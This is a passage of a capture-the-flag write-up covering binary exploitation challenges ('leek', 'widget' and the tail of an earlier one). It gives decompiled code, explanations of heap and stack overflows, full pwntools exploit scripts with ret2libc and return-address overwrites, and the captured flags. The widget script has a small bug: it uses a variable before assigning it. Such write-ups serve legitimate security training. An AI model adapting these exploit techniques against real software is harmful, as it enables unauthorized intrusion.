        p64(next(libc.search(b'/bin/sh'))) + p64(libc.sym.system)
    r.sendlineafter(b': ', payload)

    r.interactive()


if __name__ == "__main__":
    main()

🏁 actf{b4by’s_f1rst_pwn!_3857ffd6bfdf775e}

leek

nc challs.actf.co xxxxx
Attachments: leek, Dockerfile

Again, we analyze the binary file with Ghidra.

void main(void)
{
  __gid_t __rgid;
  int iVar1;
  time_t seed;
  char *my_input;
  char *random_bytes;
  long in_FS_OFFSET;
  int i;
  int j;
  char second_input [40];
  long canary;

  canary = *(long *)(in_FS_OFFSET + 0x28);
  seed = time((time_t *)0x0);
  srand((uint)seed);
  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  __rgid = getegid();
  setresgid(__rgid,__rgid,__rgid);
  puts("I dare you to leek my secret.");
  i = 0;
  while( true ) {
    if (99 < i) {
      puts("Looks like you made it through.");
      win();
      if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
        __stack_chk_fail();
      }
      return;
    }
    my_input = (char *)malloc(0x10);
    random_bytes = (char *)malloc(0x20);
    memset(random_bytes,0,0x20);
    getrandom(random_bytes,0x20,0);
    for (j = 0; j < 32; j = j + 1) {
      if ((random_bytes[j] == '\0') || (random_bytes[j] == '\n')) {
        random_bytes[j] = '\x01';
      }
    }
    printf("Your input (NO STACK BUFFER OVERFLOWS!!): ");
    input(my_input);
    printf(":skull::skull::skull: bro really said: ");
    puts(my_input);
    printf("So? What\'s my secret? ");
    fgets(second_input,33,stdin);
    iVar1 = strncmp(random_bytes,second_input,0x20);
    if (iVar1 != 0) break;
    puts("Okay, I\'ll give you a reward for guessing it.");
    printf("Say what you want: ");
    gets(my_input);
    puts("Hmm... I changed my mind.");
    free(random_bytes);
    free(my_input);
    puts("Next round!");
    i = i + 1;
  }
  puts("Wrong!");
  exit(-1);
}

First thing we notice is the presence of a win function, which is called if we manage to pass 100 cycles of the while loop. The program asks us to guess a random generated number to pass each round, that is clearly impossible. The challenge gives us a little suggestion on how to exploit it by printing (NO STACK BUFFER OVERFLOWS!!).
The solution is indeed to perform a heap overflow, since our input and the random bytes to be guesssed are both allocated in the heap. We can overflow because of the fgets(buf,0x500,stdin); inside the input function, therefore we can overwrite the random bytes with whatever we want and then guess.
The last problem to solve is to don’t make the program crash on the free instructions. This happens because when we overflow the heap we also overwrite its metadata, leading to the free failure.

leek

As we can see in the picture above the metadata of the random bytes memory chunk are overwritten. Luckily we can fix up the metadata with another overflow (gets(my_input);) after the guess.

#!/usr/bin/env python3

from pwn import *

exe = ELF("./leek")

context.binary = exe
context.terminal = ['terminator', '-x']


def conn():
    if args.LOCAL:
        r = process([exe.path])
    elif args.GDB:
        r = gdb.debug([exe.path], gdbscript='''
                      b *main+512
                      c
                      ''')
    else:
        r = remote("challs.actf.co", 31310)

    return r


def main():
    r = conn()
    l = log.progress('i')
    for i in range(100):
        l.status(str(i))
        r.sendlineafter(b': ', b'a'*64)
        r.sendafter(b'secret? ', b'a'*32)

        payload = b'\x01'*24 + p64(0x31)+b'\x01'*32
        r.sendlineafter(b': ', payload)

    r.interactive()


if __name__ == "__main__":
    main()

🏁 actf{very_133k_of_y0u_777522a2c32b7dd6}

widget

I seem to have lost my gadgets.
nc challs.actf.co xxxxx
Attachments: widget, Dockerfile

After decompiling the binary with Ghidra we have the following functions:

void win(char *param_1,char *param_2)

{
  int iVar1;
  char local_98 [136];
  FILE *local_10;

  iVar1 = strncmp(param_1,"14571414c5d9fe9ed0698ef21065d8a6",0x20);
  if (iVar1 != 0) {
    exit(1);
  }
  iVar1 = strncmp(param_2,"willy_wonka_widget_factory",0x1a);
  if (iVar1 != 0) {
    exit(1);
  }
  local_10 = fopen("flag.txt","r");
  if (local_10 == (FILE *)0x0) {
    puts("Error: missing flag.txt.");
    exit(1);
  }
  fgets(local_98,0x80,local_10);
  puts(local_98);
  return;
}

void main(void)
{
  int length;
  char buffer [24];
  __gid_t local_10;
  uint local_c;

  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  local_10 = getegid();
  setresgid(local_10,local_10,local_10);
  if (called != 0) {
    exit(1);
  }
  called = 1;
  printf("Amount: ");
  length = 0;
  __isoc99_scanf(&DAT_00402071,&length);
  getchar();
  if (length < 0) {
    exit(1);
  }
  printf("Contents: ");
  read(0,buffer,(long)length);
  local_c = 0;
  while( true ) {
    if (length <= (int)local_c) {
      printf("Your input: ");
      printf(buffer);
      return;
    }
    if (buffer[(int)local_c] == 'n') break;
    local_c = local_c + 1;
  }
  printf("bad %d\n",(ulong)local_c);
  exit(1);
}

We note that in the main function there is buffer overflow because we can control the number of bytes we can input with read. There is also a format string vulnerability but we will not use it here.

The idea is to exploit the buffer overflow to redirect the execution to the function win.

To properly call win we need to pass it two arguments, but we do not have enough gadgets in our binary. This is not a problem because we can directly jump in the middle of win, just after the parameter checks (address win+117) provided that we set up the rbp register to a valid address, for instance, an address in the data section.

#!/usr/bin/env python3

from pwn import *

exe = ELF("./widget")
context.log_level = "debug"
context.binary = exe

def conn():
    if args.LOCAL:
        r = process([exe.path])
    elif args.GDB:
        r = gdb.debug([exe.path], gdbscript='''
                      b *main+341
                      c
                      ''')
    else:
        r = remote("challs.actf.co", 31320)
        p.recvuntil(b'proof of work: ')
        data=p.recvline().strip()
        p1 = process(data, shell=True)
        solution=p1.recvline()
        p.sendlineafter(b'solution: ', solution)
    return r

offset = 32   # we fill until rbp, we set rbp to the address 0x404100
payload = b'A'*offset + p64(0x404100) + p64(exe.symbols.win + 117)

p = conn()

p.sendlineafter(b'Amount: ', b'100')
p.sendafter(b'Contents: ', payload)
p.interactive()

🏁 actf{y0u_f0und_a_usefu1_widg3t!_30db5c45a07ac981}